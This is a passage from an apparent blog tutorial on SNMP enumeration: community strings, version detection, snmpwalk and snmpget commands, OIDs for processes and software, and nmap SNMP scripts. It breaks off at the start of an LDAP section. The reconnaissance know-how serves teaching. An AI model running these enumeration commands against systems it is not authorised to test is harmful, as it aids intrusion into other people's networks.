(1.3.6.1.2.1.2.1) provides details about each device's actual hardware interfaces. </p><div><hr></div><h3>With SNMP, you can find:</h3><ul><li><p><strong>System Information</strong>: Device names, descriptions, uptime, location</p></li><li><p><strong>Network Devices</strong>: Hosts, routers, switches, printers, servers</p></li><li><p><strong>Network Resources</strong>: Devices and shares</p></li><li><p><strong>Network Information</strong>: ARP tables, routing tables, network traffic</p></li><li><p><strong>Performance Data</strong>: CPU usage, memory usage, network traffic statistics</p></li><li><p><strong>Device Configuration</strong>: VLAN information, port configurations</p></li><li><p><strong>Process Information</strong>: Running processes and services</p></li><li><p><strong>User Information</strong>: Sometimes usernames and group information</p></li></ul><div><hr></div><h3>SNMP Versions and Security</h3><p>SNMP relies on <em>community strings</em> to control access. These strings act like simple passwords that determine whether someone can read or modify SNMP data. </p><p>Common defaults are <code>"public"</code> for read-only access and <code>"private"</code> for read-write access. The issue is that in older SNMP versions, these strings are sent in plain text, making them easy to intercept and exploit.</p><p>SNMP has evolved through three main versions:</p><ul><li><p><strong>SNMPv1</strong> &#8211; The original version, which uses plain text community strings.</p></li><li><p><strong>SNMPv2c</strong> &#8211; An improved version, but still relies on plain text community strings.</p></li><li><p><strong>SNMPv3</strong> &#8211; A secure version that introduces authentication and encryption. Instead of weak community strings, it requires valid usernames, passwords, and potentially encryption keys.</p></li></ul><p>Because SNMPv1 and SNMPv2c expose community strings in plain text, they are the most common targets for enumeration. SNMPv3, by contrast, is significantly harder to attack due to its stronger security model.</p><div><hr></div><h3>Find SNMP Version on a System </h3><p>To find out which version of SNMP is being used on a system, try each one and see how the device responds. Start with SNMPv2c, since that&#8217;s what you&#8217;ll see most often:</p><pre><code>snmpwalk -v2c -c public [IP Address]</code></pre><p>If you get back interface stats or system info, you know it&#8217;s v2c. </p><p>If you get a "Timeout: No Response from [device_ip]" error, drop down to v1:</p><pre><code>snmpwalk -v1 -c public [IP Address]</code></pre><p>If both come back with errors but the port is open, you&#8217;re dealing with SNMPv3. In that case you&#8217;ll usually see an authentication error instead of data, which tells you the device is secured and you&#8217;ll need proper credentials to continue.</p><div><hr></div><h3>SNMP Enumeration Tools:</h3><ul><li><p><strong>snmp-check</strong>: Command-line tool for basic SNMP enumeration</p></li><li><p><strong>SoftPerfect Network Scanner</strong>: GUI-based network scanner with SNMP support</p></li><li><p><strong>Network Performance Monitor</strong>: Enterprise monitoring solution</p></li><li><p><strong>OpUtils</strong>: Network management toolkit with SNMP capabilities</p></li></ul><div><hr></div><h3>SNMP Enumeration with SNMPWalk &amp; SNMPGet</h3><p>The snmpwalk and snmpget command-line programs query an SNMP agent, printing MIB object values. snmpwalk starts at a given OID and repeatedly requests the "next" object until that MIB branch is exhausted, effectively traversing a subtree. snmpget retrieves the value of a specific, single OID.</p><ul><li><p>With no OID given, it starts at <code>.1.3.6.1</code> (the &#8220;internet&#8221; tree).</p></li><li><p>With a specific OID, it only returns the objects under that part of the tree.</p></li></ul><h4><strong>Walk everything (default root):</strong></h4><p>The most practical approach is to start with <code>snmpwalk</code> on the main branches (1.3.6.1.2.1.1 for system info) and then explore the branches that return data.</p><pre><code>snmpwalk -v2c -c public [IP Address]</code></pre><h4><strong>Walk from a chosen OID:</strong></h4><p>Returning all of the objects will return an excessive amount of information. You can hone in on important information for enumeration by choosing from some of the most commonly used OID&#8217;s.</p><pre><code>System Information:
1.3.6.1.2.1.1.1.0    # System description
1.3.6.1.2.1.1.3.0    # System uptime  
1.3.6.1.2.1.1.4.0    # System contact
1.3.6.1.2.1.1.5.0    # System name
1.3.6.1.2.1.1.6.0    # System location

Processes &amp; Services:
1.3.6.1.2.1.25.4.2.1.2    # Running processes
1.3.6.1.2.1.25.4.2.1.4    # Process paths
1.3.6.1.2.1.25.4.2.1.5    # Process parameters

Network Interfaces:
1.3.6.1.2.1.2.2.1.1     # Interface index
1.3.6.1.2.1.2.2.1.2     # Interface descriptions
1.3.6.1.2.1.4.20.1.1    # IP addresses

Installed Software (Windows):
1.3.6.1.2.1.25.6.3.1.2    # Software names
1.3.6.1.2.1.25.6.3.1.3    # Software IDs

Storage/Disks:
1.3.6.1.2.1.25.2.3.1.3    # Storage descriptions
1.3.6.1.2.1.25.2.3.1.4    # Storage units
1.3.6.1.2.1.25.2.3.1.5    # Storage size</code></pre><h4><strong>Single value (use </strong><code>snmpget</code><strong> instead of walking):</strong></h4><pre><code><code>snmpget -v2c -c public [IP Address] .1.3.6.1.2.1.1.5.0</code></code></pre><div><hr></div><h3>SNMP Enumeration with Nmap</h3><p>Nmap is a network scanning tool that comes with built-in scripts for SNMP enumeration. These scripts automatically parse SNMP responses into readable information instead of raw MIB data.</p><p>SNMP runs on UDP port 161, so in the following commands we'll use -sU (UDP scan) and -p (port) 161 flags to target the correct protocol and port. Commonly used NMAP scripts for SNMP enumeration include:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mggo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mggo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 424w, https://substackcdn.com/image/fetch/$s_!Mggo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 848w, https://substackcdn.com/image/fetch/$s_!Mggo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 1272w, https://substackcdn.com/image/fetch/$s_!Mggo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mggo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png" width="1456" height="639" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:639,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:639008,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mggo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 424w, https://substackcdn.com/image/fetch/$s_!Mggo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 848w, https://substackcdn.com/image/fetch/$s_!Mggo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 1272w, https://substackcdn.com/image/fetch/$s_!Mggo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc13edc5e-ad10-4505-a530-4b666fb2a5a8_1910x838.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code># Basic system information
nmap -sU -p 161 --script=snmp-info [IP Address]

# Network interfaces 
nmap -sU -p 161 --script=snmp-interfaces [IP Address]

# Running processes
nmap -sU -p 161 --script=snmp-processes [IP Address]</code></code></pre><div><hr></div><h4>View all SNMP NMAP Scripts:</h4><p>Use ls to list files in the NMAP data directory for SNMP scripts:</p><pre><code><code>ls /usr/share/nmap/scripts/snmp-*.nse</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Fjo3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Fjo3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 424w, https://substackcdn.com/image/fetch/$s_!Fjo3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 848w, https://substackcdn.com/image/fetch/$s_!Fjo3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 1272w, https://substackcdn.com/image/fetch/$s_!Fjo3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Fjo3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png" width="1254" height="960" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:960,&quot;width&quot;:1254,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:686019,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Fjo3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 424w, https://substackcdn.com/image/fetch/$s_!Fjo3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 848w, https://substackcdn.com/image/fetch/$s_!Fjo3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 1272w, https://substackcdn.com/image/fetch/$s_!Fjo3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfca888c-7ca2-4ed7-900a-7a61e9743dd2_1254x960.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>Use nmap &#8212;script-help command to learn more about the scripts:</h5><p>Next, you can search NMAP the script library for the script name. In the example below, we&#8217;ll search for info on the script &#8216;smnp-interfaces&#8217; (seen in previous command).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vesZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vesZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 424w, https://substackcdn.com/image/fetch/$s_!vesZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 848w, https://substackcdn.com/image/fetch/$s_!vesZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 1272w, https://substackcdn.com/image/fetch/$s_!vesZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vesZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png" width="1456" height="643" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:643,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:784665,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vesZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 424w, https://substackcdn.com/image/fetch/$s_!vesZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 848w, https://substackcdn.com/image/fetch/$s_!vesZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 1272w, https://substackcdn.com/image/fetch/$s_!vesZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3a018392-f86d-4e0e-9d69-ebc17bac3818_2028x896.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code>nmap --script-help [Script Name]</code></code></pre><div><hr></div><h2>LDAP Enumeration</h2><p><strong>LDAP (Lightweight Directory Access Protocol)</strong> is a network protocol that allows different systems to access and manage directory information stored on a server. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zGIG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zGIG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zGIG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zGIG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zGIG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zGIG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:398812,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zGIG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zGIG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zGIG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zGIG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6893e13-f034-4009-b3ff-9d9de13e33ac_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Think of it as a standardized way for applications and services to look up user information, similar to how you might search a phone book.</p><div><hr></div><h3>The LDAP Architecture</h3><p>At its core, LDAP follows a client-server model where multiple systems can simultaneously connect to a central directory to query, authenticate, and manage user data. The directory stores information in a hierarchical tree structure, making it easy to organize users, groups, and resources.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ud7b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ud7b!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!Ud7b!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!Ud7b!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!Ud7b!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ud7b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png" width="1456" height="1456" 